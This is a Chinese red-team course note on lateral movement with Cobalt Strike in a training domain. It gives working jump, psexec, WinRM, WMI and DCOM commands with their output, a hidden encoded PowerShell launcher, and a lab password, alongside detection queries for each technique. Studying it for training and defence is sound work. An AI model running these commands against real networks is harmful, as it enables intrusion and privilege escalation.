13-横向移动
1-概述
在域中的横向移动可以获得更多敏感数据和用户凭证信息
Cobalt Strike 提供了三种在远程目标上执行 Beacons/代码/命令的方法
第一个是jump命令,语法是jump [method] [target] [listener]
输入jump以查看方法列表,将在远程目标上生成 Beacon 有效负载,如果使用 P2P 监听器并自动连接
beacon> jump
Beacon Remote Exploits
======================
Exploit Arch Description
------- ---- -----------
psexec x86 Use a service to run a Service EXE artifact
psexec64 x64 Use a service to run a Service EXE artifact
psexec_psh x86 Use a service to run a PowerShell one-liner
winrm x86 Run a PowerShell script via WinRM
winrm64 x64 Run a PowerShell script via WinRM
上述每种方式都有自己的一套 OPSEC 关注点,后面逐一说明
第二个是remote-exec命令,语法是remote-exec [method] [target] [command]
输入remote-exec以查看方法列表
beacon> remote-exec
Beacon Remote Execute Methods
=============================
Methods Description
------- -----------
psexec Remote execute via Service Control Manager
winrm Remote execute via WinRM (PowerShell)
wmi Remote execute via WMI
remote-exec命令只是提供了一种在远程目标上执行命令的方法。因此并非横向移动所独有的,但它们可以用作横向移动。它们需要更多的手动工作来管理有效载荷,对目标控制程度更高。需要使用connect或link手动连接到 P2P Beacons
第三个是使用Cobalt Strike 的命令(powershell、execute-assembly等)来实现完全自定义的功能
也可以使用 Aggressor 将自定义方法集成到jump和remote-exec命令中
这些方法与“用户模拟”一章中描述的各种技术相同。例如,可以使用pth它来模拟用户,然后jump进行横向移动
Seatbelt 的一些命令也可以远程执行操作,可以用来对目标横向之前查看其配置和防护策略
beacon> execute-assembly C:ToolsSeatbeltSeatbeltbinReleaseSeatbelt.exe OSInfo -ComputerName=web
Hostname : web
Domain Name : dev.cyberbotic.io
ProductName : Windows Server 2022 Datacenter
EditionID : ServerDatacenter
ReleaseId : 2009
Build : 20348
BuildBranch : fe_release
CurrentMajorVersionNumber : 10
CurrentVersion : 6.3
Architecture : AMD6
大多数横向移动技术都利用合法的 Windows 管理功能,这种类型的流量和活动在网络上也很常见,不容易被察觉
2-Windows远程管理
winrm和winrm64方法分别针对 32 位和 64 位目标系统
SMB Beacon 是横向移动时的最佳选择,因为 SMB 协议在 Windows 环境中被广泛使用,更加隐蔽
beacon> jump winrm64 web.dev.cyberbotic.io smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\.pipeTSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10) on web.dev.cyberbotic.io via WinRM
[+] host called home, sent: 225172 bytes
[+] established link to child beacon: 10.10.122.30
WinRM 会返回一个当前用户权限的高完整性 Beacon
新的 Beacon 会运行wsmprovhost.exe进程,即“WinRM 插件的主机进程”。无论是否是正常用户使用WinRM,都会运行这个进程。因此通过搜索该进程启动事件很难区分是正常管理员操作还是攻击
event.category: process and event.type: start and process.name: wsmprovhost.exe
识别这种横向移动的最可能方法是通过搜索 PowerShell 脚本块日志来查找已知的有效载荷
event.category: process and powershell.file.script_block_text: "$var_runme.Invoke([IntPtr]::Zero)"
3-PsExec
psexec/psexec64命令的工作原理是将服务二进制文件上传到目标系统,然后创建并启动 Windows 服务来执行该二进制文件
以这种方式执行的 Beacon可以获得 SYSTEM 权限
beacon> jump psexec64 web.dev.cyberbotic.io smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\.pipeTSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10) on web via Service Control Manager (\webADMIN$768870c.exe)
Started service 768870c on web.dev.cyberbotic.io
[+] established link to child beacon: 10.10.122.30
排查 PsExec 的可靠方法是查找 4697 个服务创建的事件
一般是系统服务软件安装会使用PsExec,否则很大可能是攻击行为。并且Cobalt Strike 会生成一个随机的 7 个字符的字母数字混合字符串作为服务名和二进制文件名。服务的 binPath参数设置指向 ADMIN$ 共享的 UNC 路径
event.code: 4697 and winlog.event_data.ServiceFileName: \\*\ADMIN$\*.exe
psexec_psh命令不会将二进制文件复制到目标,而是执行 PowerShell 一句话命令(始终为 32 位)
它默认使用的命令是
%COMSPEC% /b /c start /b /min powershell -nop -w hidden -encodedcommand ...
beacon> jump psexec_psh web smb
[*] Tasked beacon to run windows/beacon_bind_pipe (\.pipeTSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10) on web via Service Control Manager (PSH)
Started service bd119dd on web
[+] established link to child beacon: 10.10.122.30
4-WMI
WMI 不是jump命令的一部分,而是remote-exec的一部分
remote-exec方法使用 WMI 的“process call create”来在目标上执行指定命令,首先将有效载荷上传到目标系统,再使用 WMI 执行它
可以通过cd命令进入要上传文件的远程机器目录,然后使用upload命令上传文件
beacon> cd \web.dev.cyberbotic.ioADMIN$
beacon> upload C:Payloadssmb_x64.exe
beacon> remote-exec wmi web.dev.cyberbotic.io C:Windowssmb_x64.exe
Started process 3280 on web.dev.cyberbotic.io
在WEB 上运行有效载荷后,使用link命令进行连接
beacon> link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10
[+] established link to child beacon: 10.10.122.30
与 WinRM 一样,获得用户权限的控制权限
当二进制文件以这种方式通过 WMI 执行时,新进程将是WmiPrvSE.exe的进程。因此可以查找以 WmiPrvSE 为父级的进程创建事件
event.category: process and event.type: start and process.parent.name: WmiPrvSE.exe
5-CoInitializeSecurity案例
Beacon 的 WMI 内部实现使用Beacon 对象文件(https://cobaltstrike.com/help-beacon-object-files),使用beacon_inline _ execute(https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_functions.htm#beacon_inline_execute)执行Aggressor 函数。执行 BOF 时,调用CoInitializeSecurity COM 对象,该对象用于设置当前进程的安全上下文。根据 Microsoft 的文档,每个进程只能调用一次。不幸的后果是,如果您在“用户 A”的上下文中调用 CoInitializeSecurity,那么未来的 BOF 可能无法在 Beacon 进程的生命周期内继承不同的安全上下文(“用户 B”)。
示例如下:
beacon> make_token DEVjking Qwerty123
[+] Impersonated DEVbfarmer
beacon> remote-exec wmi web.dev.cyberbotic.io C:Windowssmb_x64.exe
CoInitializeSecurity already called. Thread token (if there is one) may not get used
[-] Could not connect to web.dev.cyberbotic.io: 5
我们知道jking是 WEB 上的本地管理员,但由于CoInitializeSecurity已被调用(可能在bfarmer的上下文中),WMI 因访问被拒绝而失败。作为一种解决方法,您的 WMI 执行需要来自不同的进程。这可以使用spawn和spawnas等命令来实现,甚至可以使用execute-assembly调用SharpWMI工具来实现
beacon> execute-assembly C:ToolsSharpWMISharpWMIbinReleaseSharpWMI.exe action=exec computername=web.dev.cyberbotic.io command="C:Windowssmb_x64.exe"
[*] Host : web.dev.cyberbotic.io
[*] Command : C:Windowssmb_x64.exe
[*] Creation of process returned : 0
[*] Process ID : 3436
6-DCOM
Beacon 没有内置通过分布式组件对象模型 (DCOM) 进行交互的功能,因此我们必须使用外部工具(如Invoke-DCOM(https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1))。我们将在后面的模块中看到如何将其集成到jump命令中。
beacon> powershell-import C:ToolsInvoke-DCOM.ps1
beacon> powershell Invoke-DCOM -ComputerName web.dev.cyberbotic.io -Method MMC20.Application -Command C:Windowssmb_x64.exe
Completed
beacon> link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10
[+] established link to child beacon: 10.10.122.30
DCOM 检测起来更复杂,因为每个“方法”的工作方式都不同。在MMC20.Application的特定情况下,生成的进程将是mmc.exe的子进程
event.category: process and event.type : start and process.parent.name: mmc.exe
还可以观察到通过 DCOM 启动的进程,其中父进程带有svchost.exe命令行参数-k DcomLaunch。
原文始发于微信公众号(高级红队专家):CRTO | 横向移动
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论